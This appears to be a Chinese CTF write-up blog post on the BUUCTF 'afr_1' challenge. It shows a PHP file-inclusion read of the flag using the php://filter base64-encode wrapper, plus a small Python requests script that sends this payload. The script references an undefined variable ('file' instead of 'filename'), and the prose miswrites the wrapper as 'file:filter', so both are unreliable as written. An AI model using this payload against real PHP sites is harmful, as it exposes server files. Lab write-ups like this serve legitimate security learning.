逗比学CTF.day6

buuctf_afr_1

一、开题

在这里插入图片描述

二、分析

在这里插入图片描述

打开题目,可以看出来这个一道文件包含的题目
先简单测试一下,将参数P的值,改成flag
在这里插入图片描述
页面变了,说明漏洞点没问题。下一步就是测试这个改变是被过滤了,还是正常读取,采用双写‘f’的方式进行测试,如果返回值依然是‘no no no’,那就是flag被过滤的,找方法绕过;如果返回值变了,就说明这条语句成功了,那就是已经正常读取了,通过php文件包含中的伪协议尝试登录读取flag文件。
在这里插入图片描述
页面果然发生了变化,说明是在flag文件里动了手脚。那么先使用file:filter/read=convert.base64-encode/resource=flag获得base64位编码 程序。然后哦解密就能得出flag

三、顺手写个python

# -*- coding : utf-8 -*-

import requests
import base64


def fileter(url, key, filename):
    fileu = url
    filek = key
    filebs = 'php://filter/read=convert.base64-encode/resource=%s' % file

    ff = requests.get('http://%s/?%s=%s' % (fileu, filek, filebs)).text
    print(base64.b64decode(ff))


def main():
    fileurl = 'efac8bd5-4f08-41d4-b372-998566d288a5.node3.buuoj.cn/'
    filekey = 'p'
    filename = 'flag'
    fileter(fileurl, filekey, filename)


if __name__ == '__main__':
    main()

最后这里推一个大佬的平台,里面详细讲解了php文件包含中各种伪协议
链接: https://www.cnblogs.com/ctfer/p/14258409.html.

已标记关键词 清除标记
相关推荐
©️2020 CSDN 皮肤主题: 游动-白 设计师:白松林 返回首页